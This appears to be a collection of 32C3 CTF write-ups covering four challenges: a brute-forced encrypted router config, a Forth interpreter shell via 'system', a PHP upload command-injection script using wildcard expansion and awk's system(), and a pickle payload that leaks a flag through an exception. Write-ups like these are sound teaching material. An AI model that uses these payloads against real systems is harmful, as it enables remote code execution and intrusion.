32C3 CTF will begin on 27 December 2015 20:00 UTC and ends on 29 december 2015 20:00 UTC.
It's been a while since we participated. Let's play again as team Sec.SE.
As usual, the team communicates through the CTF team chatroom.
32C3 CTF will begin on 27 December 2015 20:00 UTC and ends on 29 december 2015 20:00 UTC.
It's been a while since we participated. Let's play again as team Sec.SE.
As usual, the team communicates through the CTF team chatroom.
Category: Forensics
Points: 150
Description:
We have obtained what we believe is a configuration backup of an embedded device. However, it seems to be encrypted. Maybe you can help us with decryption?
After a quick hexdump we might realize that the first 4 bytes are looking pretty much like a magic header.
hexdump -C config.bin | head
00000000 43 46 47 31 00 00 32 d0 ef 92 7a b0 5a b6 d8 0d |CFG1..2...z.Z...|
00000010 30 30 30 30 30 30 00 00 00 05 00 03 00 00 00 00 |000000..........|
After searching for "CFG1" with the search engine of our choice, we might find this blog entry. This tells us it might be a firmware image of some router (or at least something which looks like it).
There is a windows tool on that website to decrypt the firmware images, lets see if it works for us:
decrypting config.bin...
reading config.bin... 13056 bytes read.
parsing header... ok.
setting crypto key... ok.
decrypting... MD5 of plaintext invalid.
Hmm, nope. That looks like it might be in deed the right algorithm, but something is wrong (maybe the password).
Well, that would have been too easy otherwise.
So lets try if we can parse the file header with the information provided in that block entry.
As a a python ctypes Structure the header looks like this:
class Header(ctypes.BigEndianStructure):
_fields_ = [
("magic", ctypes.ARRAY(ctypes.c_char, 4)),
("payload_size", ctypes.c_uint32),
("header_md5", ctypes.ARRAY(ctypes.c_ubyte, 8)),
("etl", ctypes.ARRAY(ctypes.c_uint8, 7)), # always zero
("unused_1", ctypes.c_char),
("password_len", ctypes.c_uint16),
("padding_len", ctypes.c_uint16),
("unused_2", ctypes.ARRAY(ctypes.c_ubyte, 4)),
("plaintext_md5", ctypes.ARRAY(ctypes.c_ubyte, 16))
]
The header contains a field for the first 8 bytes of a md5 over the header. After testing if it is correct, we can be pretty sure the header structure is right.
So, chances are good we need to find the correct password.
~~Stupidly~~Luckily the length of the password is saved in the header and an MD5 sum over the plaintext, too (The password is of 5 chars length).
According to the linked blog post the plaintext is encrypted with AES256 in ECB mode.
That sounds reasonable enough to bruteforce it.
... But it is way to slow. The decryption of the whole cryptext needs way to long (~13kb after all).
With ~8k tries per second we'll never find the password.
Maybe we find some other way to verify the password.
After some searching we might find out that the plaintext of the images in this format always seem to be gzip compressed.
This is awesome, as the gzip format has a 3 byte (2 byte in theory, 3 in fact) magic header.
So we only need to decrypt the first block with AES and verify the first 3 bytes (With additionally md5 verification IF the magic header was found).
This gives us about 280k try per second. Not really fast, but it might be fast enough for a password with 5 chars.
Finally we can start bruteforcing.
After some (more) time we find our password and are able to decrypt the file.
It is an tar.gz archive containing two files.
Digging through them we find a line like this (password changed):
PASSWORD="MzJDM19hc2QxMjE1NjRxMTIxZD/nU2NGE1NnNkMWYzMmFkMTMyYTQ1"
After removing that evil /n
in there we are able to base64 decode it and get the password. YAY
The tool i wrote to crack and decrypt the firmware now makes about 1000000 check per second on my system and is linked in Other write-ups and resources
A quick warm-up. We're told to connect and get a shell. There's a Forth interpreter at that address.
$ nc 136.243.194.49 1024
yForth? v0.2 Copyright (C) 2012 Luca Padovani
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; see LICENSE for details.
s" sh" system
sh: 0: can't access tty; job control turned off
$ ls
flag.txt README.gpl run.sh yforth
$ cat flag.txt
32C3_a8cfc6174adcb39b8d6dc361e888f17b
$ exit
We can upload files with the name of our choice and a content of up to 7 bytes, and we can then browse that file at a given URL of the form /files/HASH/CHOSEN_NAME
to get the content, where HASH
is independent of the name (it's actually SHA-1(IP address + user agent)).
HamZa did the hard work of finding that using <?=`?`;
as the content for a file with the extension .php
would execute ?
as an external command, where ?
could be most any character. For example <?=`w`;
shows the server's load average and other information.
There's not much you can do with a one-character command, but fortunately there's another loophole: wildcards are expanded before the command is executed. So we can use <?=`*`;
, which expands to the list of file names in the current directory, which is the upload directory; this will execute the first file name in lexicographic order.
The upload directory contains at least the PHP file and index.html
, so we need to arrange that the PHP script is at the end of the alphabet and to run a command that comes before index.html
. We can even pass it arguments, as long as the command comes first, then the arguments in alphabetical order, with index.html
and the PHP file in there somewhere. A nice lexicographically early command is awk
, which has a shell escape (the system
function). Hence this injection script:
#!/bin/sh
user_agent='foo1'
encode () {
printf '%s\n' "$1" | sed -e 's/%/%25/g' \
-e 's/ /%20/g' \
-e 's/!/%21/g' \
-e 's/#/%23/g' \
-e 's/\$/%24/g' \
-e 's/&/%26/g' \
-e 's/'\''/%27/g' \
-e 's/(/%28/g' \
-e 's/)/%29/g' \
-e 's/\*/%2a/g' \
-e 's/\+/%2b/g' \
-e 's/\,/%2c/g' \
-e 's/\//%2f/g' \
-e 's/:/%3a/g' \
-e 's/;/%3b/g' \
-e 's/=/%3d/g' \
-e 's/?/%3f/g' \
-e 's/@/%40/g' \
-e 's/\[/%5b/g'
}
quote () {
printf '%s\n' "$1" | sed -e 's/[\\"]/\\&/g' -e 's/\//\\057/g'
}
post () {
html=$(wget --content-on-error -q -O - --user-agent="$user_agent" --post-data="filename=$(encode "$1")&content=$(encode "$2")" http://136.243.194.53/)
if [ $? -ne 0 ]; then
echo "$1 $2 => FAIL"
echo "$html"
exit 2
elif [ -z "$php_location" ]; then
php_location="${html#*"File saved to <a>"}"
php_location="${php_location%%</a>*}"
fi
}
post 'zstar.php' '<?=`*`;'
post 'awk' 'dummy1'
post 'b{000000}BEGIN{system("'"$(quote "$1")"'");exit}' 'dummy2'
wget -q -O - "http://136.243.194.53/$php_location"
Running ./upload 'ls /'
shows that there's a file called /file_you_want
, and ./upload 'cat /file_you_want'
gives the flag.
We have to submit input to a Python script. This script has the flag in a variable flag.flag
. The input vector is a string that's passed to pickle.loads
and printed out. There's a twist: we don't get to see the printout, but we do get to see a printout of any exception caused by the unpickling.
data = os.read(0, 4096)
try:
res = pickle.loads(data)
print 'res: %r\n' % res
except Exception as e:
print >>sys.stderr, "exception", repr(e)
So we need to find a pickled input that will cause an exception that displays the flag. The Python script loads a bunch of modules and sets up a sandbox environment that won't let it load other modules, but that turns out to be a bit of a red herring as I only needed __builtin__
in the end.
After playing around in the interactive interpreter and looking at the source of pickle.py
to understand the pickle format, I found that you could pass arbitrary function calls.
wget -q -O - http://136.243.194.43/ --post-data=$'c__builtin__\ngetattr\n(S\'foo\'\nc__builtin__\ngetattr\n(c__main__\nflag\nS\'flag\'\ntRtR.'
2: exception AttributeError("'str' object has no attribute '32c3_rooDahPaeR3JaibahYeigoong'",)
retval: 0